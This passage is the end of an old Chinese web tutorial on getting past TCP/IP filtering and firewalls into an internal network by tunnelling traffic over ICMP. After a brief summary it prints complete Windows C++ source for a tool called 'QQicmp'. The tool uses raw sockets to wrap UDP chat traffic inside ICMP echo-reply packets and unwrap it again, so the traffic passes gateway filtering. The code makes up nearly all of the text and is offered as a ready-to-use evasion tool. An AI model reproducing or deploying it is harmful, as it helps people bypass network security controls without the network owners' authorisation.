突破TCP-IP过滤/防火墙进入内网(icmp篇)
2006-07-21 11:12:27 来源:WEB开发网以上就是QQicmp(l)的工作原理,QQicmp(g)运行在网关上,虽然模式不同,但工作原理是一样的,只是数据报的流动方向有点差异。
五、小结
本文利用了ICMP协议来传输数据,但由于ICMP协议自身的原因,可靠性就不可能得到很好的保证。其实,你还可以用一些其他的方法来突破网关的限制,比如最近网上常谈到的ARP协议在某些情况下就可以使用,当然前提是你要获得网关的某些权限。以上谈到的各种方法,本质上都是利用其他未被禁止的协议来转发被禁止协议需要传送的数据,然后再用原本使用的协议将数据发送到目的主机。
六、附源代码 #include <iostream.h>
#include <winsock2.h>
#include <mstcpip.h>
#define imaxsize 64*1024
typedef struct ipheader
{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceip;
unsigned int destip;
}ipheader;
typedef struct icmpheader
{
unsigned char type;
unsigned char code;
unsigned short checksum;
unsigned short seq;
unsigned short id;
}icmpheader;
unsigned short checksum(unsigned short *buffer,int size)
{
unsigned long cksum=0;
while(size>0)
{
cksum+=*buffer++;
size-=sizeof(unsigned short);
}
if(size)
cksum+=*(unsigned char *)buffer;
cksum=(cksum>>16)+(cksum & 0xffff);
cksum+=(cksum>>16);
return (unsigned short)(~cksum);
}
int iaddrlen=sizeof(struct sockaddr_in);
SOCKET socki[2][2];
struct sockaddr_in sini[2][4],sag,sal,tempir,tempis;
DWORD WINAPI u2i(LPVOID num)
{
UNREFERENCED_PARAMETER(num);
char msgrecv[imaxsize]={0},msgsend[imaxsize]={0};
fd_set fdread,fdwrite;
int iret,ret,istbcs=0,ileft,idx=0;
struct icmpheader icmphdr;
memset(&icmphdr,0,sizeof(icmphdr));
icmphdr.code=0;
icmphdr.id=htons(65456);
icmphdr.seq=htons(65456);
icmphdr.type=0;
icmphdr.checksum=checksum((unsigned short *)&icmphdr,sizeof(icmphdr));
if((socki[0][1]=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))==INVALID_SOCKET)
{
cout<<"Socket socki[0][1] Error: "<<GetLastError()<<endl;
return -1;
}
if(bind(socki[0][1],(struct sockaddr *)&sini[0][2],iaddrlen)==SOCKET_ERROR)
{
cout<<"Bind socki[0][1] Error: "<<GetLastError()<<endl;
return -1;
}
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(socki[0][0],&fdread);
FD_SET(socki[0][1],&fdwrite);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
cout<<"Select in thread 0 Error: "<<GetLastError()<<endl;
break;
}
if(ret>0)
{
if(FD_ISSET(socki[0][0],&fdread))
{
iret=recvfrom(socki[0][0],msgrecv,sizeof(msgrecv),0,(struct sockaddr *)&tempir,&iaddrlen);
if(iret==SOCKET_ERROR)
{
cout<<"\nRecvfrom socki[0][0] Error: "<<GetLastError()<<endl;
break;
}
else if(iret==0)
{
break;
}
if(tempir.sin_port!=sini[0][0].sin_port)
{
sini[0][0].sin_port=tempir.sin_port;
sini[1][3].sin_port=tempir.sin_port;
}
cout<<"\nThread 0 Recv "<<iret<<" bytes from\t"<<inet_ntoa(tempir.sin_addr)<<endl;
if(istbcs==0)
{
memset(msgsend,0,sizeof(msgsend));
memcpy(msgsend,&icmphdr,sizeof(icmphdr));
istbcs+=sizeof(icmphdr);
}
memcpy(msgsend+istbcs,msgrecv,iret);
istbcs+=iret;
memset(msgrecv,0,sizeof(msgrecv));
}
else if(FD_ISSET(socki[0][1],&fdwrite))
{
ileft=istbcs;
idx=0;
while(ileft>0)
{
if(sini[0][3].sin_addr.s_addr==htonl(0))
{
cout<<"sini[0][3].sin_addr.s_addr==htonl(0)"<<endl;
istbcs=0;
memset(msgsend,0,sizeof(msgsend));
break;
}
iret=sendto(socki[0][1],&msgsend[idx],ileft,0,(struct sockaddr *)&sini[0][3],iaddrlen);
if(iret==SOCKET_ERROR)
{
cout<<"Sendto socki[0][1] Error: "<<GetLastError()<<endl;
break;
}
else if(iret==0)
break;
cout<<"Thread 0 send "<<iret<<" bytes to \t"<<inet_ntoa(sini[0][3].sin_addr)<<endl;
ileft-=iret;
idx+=iret;
}
memset(msgsend,0,sizeof(msgsend));
istbcs=0;
}
Sleep(20);
}
}
return 0;
}
DWORD WINAPI i2u(LPVOID num)
{
UNREFERENCED_PARAMETER(num);
fd_set fdread,fdwrite;
char msgrecv[imaxsize]={0},msgsend[imaxsize]={0};
int ret,iret,idx,istbcs=0,ileft;
DWORD dwbufferlen[10];
DWORD dwbufferinlen=1;
DWORD dwbytesreturned=0;
struct ipheader *iphdr;
struct icmpheader *icmphdr;
if((socki[1][0]=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
{
cout<<"Socket socki[1][0] Error: "<<GetLastError()<<endl;
return -1;
}
if(bind(socki[1][0],(struct sockaddr *)&sini[1][1],iaddrlen)==SOCKET_ERROR)
{
cout<<"Bind socki[1][0] Error: "<<GetLastError()<<endl;
return -1;
}
WSAIoctl(socki[1][0],SIO_RCVALL,&dwbufferinlen,sizeof(dwbufferinlen),&dwbufferlen,sizeof(dwbufferlen),&dwbytesreturned,NULL,NULL);
iphdr=(struct ipheader *)msgrecv;
icmphdr=(struct icmpheader *)(msgrecv+sizeof(struct ipheader));
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(socki[1][0],&fdread);
FD_SET(socki[1][1],&fdwrite);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
cout<<"Select in thread 1 Error: "<<GetLastError()<<endl;
break;
}
if(ret>0)
{
if(FD_ISSET(socki[1][0],&fdread))
{
iret=recvfrom(socki[1][0],msgrecv,sizeof(msgrecv),0,(struct sockaddr *)&tempis,&iaddrlen);
if(iret==SOCKET_ERROR)
{
cout<<"Recvfrom socki[1][0] Error: "<<GetLastError()<<endl;
break;
}
if(iret<=28)
{
break;
}
if((icmphdr->type!=0) || (icmphdr->code!=0) || ((icmphdr->id)!=htons(65456)) || ((icmphdr->seq)!=htons(65456)))
{
break;
}
if((sini[1][0].sin_addr.s_addr!=htonl(0)) && (sini[1][0].sin_addr.s_addr!=tempis.sin_addr.s_addr))
break;
else if(sini[1][0].sin_addr.s_addr==htonl(0))
{
sini[1][0].sin_addr.s_addr=tempis.sin_addr.s_addr;
sini[0][3].sin_addr.s_addr=tempis.sin_addr.s_addr;
}
cout<<"\nThread 1 Recv "<<iret<<" bytes from \t"<<inet_ntoa(tempis.sin_addr)<<endl;
memcpy(msgsend+istbcs,msgrecv,iret);
istbcs+=iret;
memset(msgrecv,0,sizeof(msgrecv));
}
else if(FD_ISSET(socki[1][1],&fdwrite))
{
ileft=istbcs-28;
idx=28;
while(ileft>0)
{
iret=sendto(socki[1][1],&msgsend[idx],ileft,0,(struct sockaddr *)&sini[1][3],iaddrlen);
if(iret==SOCKET_ERROR)
{
cout<<"Sendto socki[1][1] Error: "<<GetLastError()<<endl;
break;
}
else if(iret==0)
break;
cout<<"Thread 1 send "<<iret<<" bytes to \t"<<inet_ntoa(sini[1][3].sin_addr)<<endl;
ileft-=iret;
idx+=iret;
}
istbcs=0;
memset(msgsend,0,sizeof(msgsend));
}
Sleep(20);
}
}
return 0;
}
void QQicmp(struct sockaddr_in itarget,BOOL ilocal)
{
HANDLE ithreads[2];
DWORD ithreadid[2];
struct hostent *hp;
char cname[100];
int dwret,log;
gethostname(cname,sizeof(cname));
hp=gethostbyname(cname);
for(int ipnum=0;hp->h_addr_list[ipnum]!=NULL;ipnum++)
sag.sin_addr=*(in_addr *)hp->h_addr_list[ipnum];
sag.sin_family=AF_INET;
sag.sin_port=htons(65456);
sal=sag;
if(ipnum>1)
sal.sin_addr=*(in_addr *)hp->h_addr_list[ipnum-2];
if(!ilocal)
{
sini[0][0].sin_addr.s_addr=itarget.sin_addr.s_addr;
sini[0][0].sin_family=AF_INET;
sini[0][0].sin_port=htons(8000);
sini[0][1].sin_addr.s_addr=htonl(INADDR_ANY);
sini[0][1].sin_family=AF_INET;
sini[0][1].sin_port=itarget.sin_port ;
sini[0][2]=sal;
memset(&sini[0][3],0,iaddrlen);
sini[0][3].sin_family=AF_INET;
}
else
{
memset(&sini[0][0],0,iaddrlen);
sini[0][0].sin_family=AF_INET;
sini[0][0].sin_addr.s_addr=inet_addr("127.0.0.1");
sini[0][1].sin_addr.s_addr=htonl(INADDR_ANY);
sini[0][1].sin_family=AF_INET;
sini[0][1].sin_port=itarget.sin_port ;
sini[0][2]=sal;
sini[0][3].sin_addr.s_addr=itarget.sin_addr.s_addr;
sini[0][3].sin_family=AF_INET;
}
sini[1][0]=sini[0][3];
sini[1][1]=sini[0][2];
sini[1][2]=sini[0][1];
sini[1][3]=sini[0][0];
if((socki[0][0]=socket(AF_INET,SOCK_DGRAM,0))==INVALID_SOCKET)
{
cout<<"Socket socki[0][0] Error: "<<GetLastError()<<endl;
return ;
}
if(bind(socki[0][0],(struct sockaddr *)&sini[0][1],iaddrlen)==SOCKET_ERROR)
{
cout<<"Bind socki[0][0] Error: "<<GetLastError()<<endl;
return ;
}
socki[1][1]=socki[0][0];
cout<<"\n正常工作中..."<<endl;
ithreads[0]=CreateThread(NULL,0,u2i,(LPVOID)0,NULL,&ithreadid[0]);
ithreads[1]=CreateThread(NULL,0,i2u,(LPVOID)1,NULL,&ithreadid[1]);
while(1)
{
dwret=WaitForMultipleObjects(2,ithreads,false,INFINITE);
if(dwret==WAIT_FAILED)
{
cout<<"WaitForMultipleObjects Error: "<<GetLastError()<<endl;
return ;
}
log=dwret-WAIT_OBJECT_0;
if(log==0)
{
CloseHandle(ithreads[0]);
closesocket(socki[0][1]);
ithreads[0]=CreateThread(NULL,0,u2i,(LPVOID)0,NULL,&ithreadid[0]);
}
else if(log==1)
{
CloseHandle(ithreads[1]);
closesocket(socki[1][0]);
ithreads[1]=CreateThread(NULL,0,i2u,(LPVOID)1,NULL,&ithreadid[1]);
}
else
{
for(int no1=0;no1<2;no1++)
{
CloseHandle(ithreads[no1]);
for(int no2=0;no2<2;no2++)
closesocket(socki[no1][no2]);
}
}
}
return ;
}
(全文完)
- ››TCP超时/丢失重传
- ››iphone图片拉伸的几种方法
- ››iphone正则表达式的简单使用
- ››iPhone开发Unresolved Symbols CAKeyframeAnimati...
- ››IPhone开发-“此证书是由未知颁发机构签名”解决方...
- ››IPhone开发-整合私钥和证书,生成.p12文件
- ››iPhone应用开发-UIPickerView选取器详解
- ››iphone 获取屏幕的宽度和高度
- ››iPhone读取工程包中的二进制文件
- ››iPhone新手机 不挂YouTube APP
- ››iPhone 获取指定格式的时间和日期
- ››IPad使用UIModalPresentationFormSheet时隐藏键盘...
更多精彩
赞助商链接